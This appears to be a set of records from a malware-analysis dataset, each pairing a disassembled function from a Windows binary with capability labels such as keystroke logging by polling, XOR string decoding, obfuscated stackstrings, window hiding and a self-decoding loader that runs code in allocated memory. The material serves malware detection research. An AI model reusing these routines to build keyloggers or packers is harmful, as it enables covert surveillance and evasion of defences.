joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e450
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
call fcn.1001e1f0
mov ecx, dword [0x100c9388]
mov eax, dword [ecx]
mov eax, dword [eax + 0x68]
call eax
test al, al
je 0x1001e496
cmp byte [0x100e51b4], 0
je 0x1001e496
push dword [0x100e4e04]
push dword [0x100e4e00]
push dword [0x100e4dfc]
push dword [0x100e4df8]
call fcn.1001db80
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x2d
call esi
test al, 1
je 0x1001e4b5
cmp byte [0x100c9196], 0
sete al
mov byte [0x100c9196], al
jmp 0x1001e4ba
mov al, byte [0x100c9196]
test al, al
je 0x1001e631
push 1
call esi
test al, 1
je 0x1001e4d3
mov byte [0x100c9918], 1
jmp 0x1001e4e3
push 1
call esi
and al, 1
neg al
sbb al, al
and byte [0x100c9918], al
push 2
call esi
test al, 1
je 0x1001e4f4
mov byte [0x100c990e], 1
jmp 0x1001e504
push 2
call esi
and al, 1
neg al
sbb al, al
and byte [0x100c990e], al
push 1
call esi
test ax, ax
je 0x1001e516
mov byte [0x100c991a], 1
jmp 0x1001e525
push 1
call esi
neg ax
sbb al, al
and byte [0x100c991a], al
push 2
call esi
test ax, ax
je 0x1001e537
mov byte [0x100c990f], 1
jmp 0x1001e546
push 2
call esi
neg ax
sbb al, al
and byte [0x100c990f], al
cmp byte [0x100e51e9], 0
je 0x1001e560
mov ecx, 0x100c9184
call fcn.10006e80
mov byte [0x100e51e9], 0
cmp byte [0x100e51e8], 0
je 0x1001e57a
mov ecx, 0x100c9184
call fcn.10009880
mov byte [0x100e51e8], 0
push dword [0x100e4df4]
mov ecx, 0x100c92a0
push dword [0x100e4df0]
push dword [0x100e4dec]
push dword [0x100e4de8]
call fcn.10017390
push dword [0x100e57c4]
push dword [0x100e57bc]
call fcn.1002e310
mov esi, dword [0x100e4df8]
xor eax, eax
mov edx, dword [0x100e4dfc]
test esi, esi
mov edi, dword [0x100c9360]
mov ebx, dword [0x100c935c]
cmovs esi, eax
test edx, edx
mov ecx, ebx
cmovs edx, eax
sub ecx, dword [0x100e4e00]
mov eax, edi
sub eax, dword [0x100e4e04]
cmp esi, eax
cmovg esi, eax
cmp edx, ecx
mov dword [0x100e4df8], esi
cmovg edx, ecx
mov ecx, dword [0x100e4de8]
xor eax, eax
mov dword [0x100e4dfc], edx
test ecx, ecx
cmovs ecx, eax
mov eax, dword [0x100e4dec]
xor edx, edx
test eax, eax
cmovs eax, edx
sub edi, dword [0x100e4df0]
sub ebx, dword [0x100e4df4]
cmp ecx, edi
cmovg ecx, edi
cmp eax, ebx
mov dword [0x100e4de8], ecx
cmovg eax, ebx
mov dword [0x100e4dec], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001e8f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x33
xor eax, eax
nop
mov dl, byte [edi + eax - 0x7e882478]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001e91d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x1001e900
pop edi
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret 4
Function at 0x1001e930
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x7a
xor eax, eax
nop
mov dl, byte [edi + eax - 0x64b98e2f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001e95d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1001e940
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001eb20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x1c
xor eax, eax
nop
mov dl, byte [edi + eax + 0x6346f401]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001eb4d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x1001eb30
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001ecd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
nop
mov dl, byte [edi + eax - 0xff1925]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001ecfd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x1001ece0
pop edi
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001ed90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x8c
xor eax, eax
nop
mov dl, byte [edi + eax - 0x2c90a980]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001edbd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x1001eda0
pop edi
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001f5e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xb7
xor eax, eax
nop
mov dl, byte [edi + eax - 0x16426759]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001f60d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1001f5f0
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001f7b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xdc
xor eax, eax
nop
mov dl, byte [edi + eax - 0x4b36b2cc]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001f7dd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1001f7c0
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001f8b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xa3
xor eax, eax
nop
mov dl, byte [edi + eax + 0x3fd6497b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001f8dd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1001f8c0
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
ret 4
Function at 0x1001f950
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xab
xor eax, eax
nop
mov dl, byte [edi + eax + 0x39ca4980]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001f97d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1001f960
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001fc30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x31
xor eax, eax
nop
mov dl, byte [edi + eax - 0x30357a82]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001fc5d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x14
jl 0x1001fc40
pop edi
mov byte [esi + 0x14], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001fe20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xab
xor eax, eax
nop
mov dl, byte [edi + eax - 0x78ca5e5b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001fe4d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1001fe30
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x1001fe60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xbf
xor eax, eax
nop
mov dl, byte [edi + eax + 0x47773c32]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001fe8d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1001fe70
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
ret 4

Function at 0x10020230
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x3d
xor eax, eax
nop
mov dl, byte [edi + eax - 0x304eca3]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002025d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x10020240
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x10020420
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x68
xor eax, eax
nop
mov dl, byte [edi + eax - 0x7632c59d]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002044d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10020430
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
ret 4

Function at 0x10020460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xd
xor eax, eax
nop
mov dl, byte [edi + eax + 0x758d2da1]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002048d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x10020470
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4
Function at 0x100204a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xaa
xor eax, eax
nop
mov dl, byte [edi + eax - 0x5cb0fbbd]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100204cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x100204b0
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x10020ca0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x38
xor eax, eax
nop
mov dl, byte [edi + eax - 0x20b64c60]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x10020ccd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x10020cb0
pop edi
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret 4

Function at 0x10020f40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x3c
xor eax, eax
nop
mov dl, byte [edi + eax + 0x508dd01d]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x10020f6d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x10
jl 0x10020f50
pop edi
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret 4

Function at 0x100211a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xe
xor eax, eax
nop
mov dl, byte [edi + eax - 0xaeef186]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100211cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x100211b0
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
ret 4

Function at 0x100211e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x35
xor eax, eax
nop
mov dl, byte [edi + eax - 0x6282fd3f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002120d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x12
jl 0x100211f0
pop edi
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
ret 4

Function at 0x100214b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x2b
xor eax, eax
nop
mov dl, byte [edi + eax - 0x7125becb]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100214dd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x100214c0
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x100217b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x96
xor eax, eax
nop
mov dl, byte [edi + eax - 0x6a30ca19]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100217dd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xf
jl 0x100217c0
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
ret 4
Function at 0x10021920
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x42
xor eax, eax
nop
mov dl, byte [edi + eax + 0x3ec9ae8c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002194d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x10021930
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret 4

Function at 0x10021960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x52
xor eax, eax
nop
mov dl, byte [edi + eax - 0x5b1bf00c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002198d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x16
jl 0x10021970
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
ret 4

Function at 0x100219a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x3d
xor eax, eax
nop
mov dl, byte [edi + eax - 0x760f49be]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100219cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x13
jl 0x100219b0
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
ret 4

Function at 0x10021af0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0xb2
xor eax, eax
nop
mov dl, byte [edi + eax - 0x6a3aa13e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x10021b1d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x10
jl 0x10021b00
pop edi
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret 4

Function at 0x10021b30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
mov ecx, 0x81
xor eax, eax
nop
mov dl, byte [edi + eax + 0x2f1421fd]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x10021b5d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x18
jl 0x10021b40
pop edi
mov byte [esi + 0x18], 0
mov eax, esi
pop esi
ret 4
Function at 0x10024980
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x20
mov eax, dword [0x1006200c]
xor eax, esp
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x28], 1
push esi
mov esi, dword [esp + 0x28]
jne 0x10024aae
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov ecx, 0xa4
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x1005dac8]
xor al, cl
inc ecx
mov byte [esp + edx + 0x10], al
and ecx, 0x800000ff
jns 0x100249cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x100249b0
push 0x100248c0
lea eax, [esp + 0x14]
mov byte [esp + 0x20], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x72657375
push eax
mov dword [esp + 0x14], 0x642e3233
mov word [esp + 0x18], 0x6c6c
mov byte [esp + 0x1a], 0
call fcn.10001750
push eax
call fcn.100010f0
mov dword [0x100c97fc], eax
mov ecx, 0x10
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + str.WtfPagexjIuh]
xor al, cl
inc ecx
mov byte [esp + edx + 0x10], al
and ecx, 0x800000ff
jns 0x10024a3d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x10024a20
push 0x10024910
lea eax, [esp + 0x14]
mov byte [esp + 0x20], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x72657375
push eax
mov dword [esp + 0x14], 0x642e3233
mov word [esp + 0x18], 0x6c6c
mov byte [esp + 0x1a], 0
call fcn.10001750
push eax
call fcn.100010f0
push 0x104
push 0x100c9800
push esi
mov dword [0x100c97f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push esi
push 0x100225d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100c9184], esi
mov ecx, dword [esp + 0x20]
mov eax, 1
pop esi
xor ecx, esp
call fcn.100328be
add esp, 0x20
ret 0xc
Function at 0x1002b680
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
mov dword [edi + 0xd60], 0
mov dword [0x2438ff74], 0xffffffff
mov dword [0x243b2ef8], 0
cmp byte [0x100e51e0], 0
je 0x1002b6c5
push 0x45
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1002b6c5
cmp byte [0x100e51e0], 0
jne 0x1002b6f5
mov ecx, dword [esi + 8]
cmp ecx, dword [esi]
jne 0x1002b6e8
mov eax, dword [esi + 4]
inc eax
add ecx, eax
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov dword [edi + 0xe08], ecx
mov eax, dword [esi + 8]
pop edi
mov dword [esi], eax
pop esi
ret 8
mov dword [esi + 4], 0
mov dword [edi + 0xe08], ecx
mov eax, dword [esi + 8]
pop edi
mov dword [esi], eax
pop esi
ret 8
Function at 0x10001de8
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [edx + 0x48]
mov ecx, dword [eax + 0x3c]
test ecx, ecx
je 0x10001e01
push dword [esp + 8]
push dword [esp + 8]
push edx
call ecx
add esp, 0xc
ret
push dword [eax + 0x38]
push dword [esp + 0xc]
push 1
push dword [esp + 0x10]
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
ret

Function at 0x10005305
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x10005333
push esi
call fcn.10009b3e
cmp dword [esi + 0x40], 0
pop ecx
je 0x1000532c
xor eax, eax
mov dword [esi + 0x14], 0xcf
inc eax
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x100053a3
mov eax, dword [esi + 0x1b4]
cmp dword [eax + 0x10], 0
je 0x10005395
mov eax, dword [esi + 8]
test eax, eax
je 0x10005354
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x1b4]
push esi
call dword [eax]
pop ecx
test eax, eax
je 0x10005391
cmp eax, 2
je 0x10005395
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x10005349
cmp eax, 3
je 0x10005378
cmp eax, 1
jne 0x10005349
inc dword [ecx + 4]
mov ecx, dword [ecx + 4]
mov eax, dword [esi + 8]
cmp ecx, dword [eax + 8]
jl 0x10005349
mov ecx, dword [esi + 0x140]
add dword [eax + 8], ecx
jmp 0x10005349
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
mov dword [esi + 0x98], eax
jmp 0x100053c1
cmp eax, 0xcc
je 0x100053c1
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
mov eax, dword [esi]
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.100051d0
pop esi
ret

Function at 0x10013389
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10013398
pop dword [ebp - 0x30]
mov eax, 0x1b586424
sub eax, 0xb57308c
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x7c076acc
add dword [ebp - 0x40], 0xd24ada7f
mov dword [ebp - 0x3c], 0xfb273887
sub dword [ebp - 0x3c], 0xc8f3ec42
mov dword [ebp - 0x38], 0xbd148c52
sub dword [ebp - 0x38], 0x70c84824
mov dword [ebp - 0x34], 0x39845b66
sub dword [ebp - 0x34], 0x39845b66
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x1443eaa0
add dword [ebp - 0x40], 0x602e7eb6
mov dword [ebp - 0x3c], 0xcddeaf86
add dword [ebp - 0x3c], 0x738db1ef
mov dword [ebp - 0x38], 0xb1e5cb68
sub dword [ebp - 0x38], 0x4e765efc
mov dword [ebp - 0x34], 0x56c3f9aa
sub dword [ebp - 0x34], 0x56c3f9aa
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x79bdf41b
add eax, 0x9643fc29
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x36301
push 0
call eax
mov ecx, 0x3d10
mov ebx, eax
mov esi, 0xd962b38
sub esi, 0xfd933938
add esi, dword [ebp - 0x30]
mov edi, 0x5faa2bb1
xor dword [ebp - 0x1c], edx
mov edx, dword [esi]
add dword [ebp - 0x20], eax
add edx, edi
mov dword [ebx], edx
add ebx, 4
add esi, 4
loop 0x100134a9
add eax, 0xb2e38656
sub eax, 0xb2e29f43
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x53d03b1f
sub ecx, 0x43d03b1f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x1001c020
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d50]
test eax, eax
je 0x1001c08f
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.10013389
pop ecx
pop edi
pop esi
ret

Function at 0x1001e4ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10029008]
jne 0x1001e4f4
repz ret
jmp fcn.1001ea43
Function at 0x1008bcd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x340a6ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x23], 3
mov byte [ebp - 0x22], 0x8a
mov byte [ebp - 0x21], 0
mov byte [ebp - 0x20], 3
mov byte [ebp - 0x1f], 0xff
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x1d], 5
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0
mov byte [ebp - 0x1a], 0xc
mov byte [ebp - 0x19], 0x29
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0x1c
mov byte [ebp - 0x16], 0x42
mov byte [ebp - 0x15], 0x44
mov byte [ebp - 0x14], 0x45
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0x50
mov byte [ebp - 0x10], 0x56
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0x50
mov byte [ebp - 0xd], 0xf2
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 9], 0xff
mov byte [ebp - 8], 0xff
mov byte [ebp - 7], 0xff
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 2]
cmp ecx, 0x20
jne 0x1008bd8f
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 3]
cmp eax, 0x52
jne 0x1008bd8f
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 4]
cmp edx, 0x41
jne 0x1008bd8f
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 5]
cmp ecx, 0x53
jne 0x1008bd8f
mov al, 1
jmp 0x1008be51
mov dword [ebp - 0x28], 0
jmp 0x1008bda1
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
imul eax, eax, 3
movzx ecx, byte [ebp + eax - 0x24]
cmp ecx, 0xff
je 0x1008bdfb
mov edx, dword [ebp + 8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
imul ecx, ecx, 3
movzx edx, byte [ebp + ecx - 0x24]
cmp eax, edx
jne 0x1008bdf9
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 1]
mov edx, dword [ebp - 0x28]
imul edx, edx, 3
movzx eax, byte [ebp + edx - 0x23]
cmp ecx, eax
jne 0x1008bdf9
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 2]
mov eax, dword [ebp - 0x28]
imul eax, eax, 3
movzx ecx, byte [ebp + eax - 0x22]
cmp edx, ecx
jne 0x1008bdf9
mov al, 1
jmp 0x1008be51
jmp 0x1008bd98
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 3]
test eax, eax
jne 0x1008be34
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 4]
cmp edx, 0x30
jne 0x1008be34
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 5]
test ecx, ecx
jne 0x1008be34
call fcn.100c96a0
xor edx, edx
mov ecx, 0x64
div ecx
cmp eax, 4
jne 0x1008be34
mov al, 1
jmp 0x1008be51
push 6
push 0x33d6634
mov edx, dword [ebp + 8]
push edx
call fcn.10134471
add esp, 0xc
test eax, eax
jne 0x1008be4f
mov al, 1
jmp 0x1008be51
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10133eba
mov esp, ebp
pop ebp
ret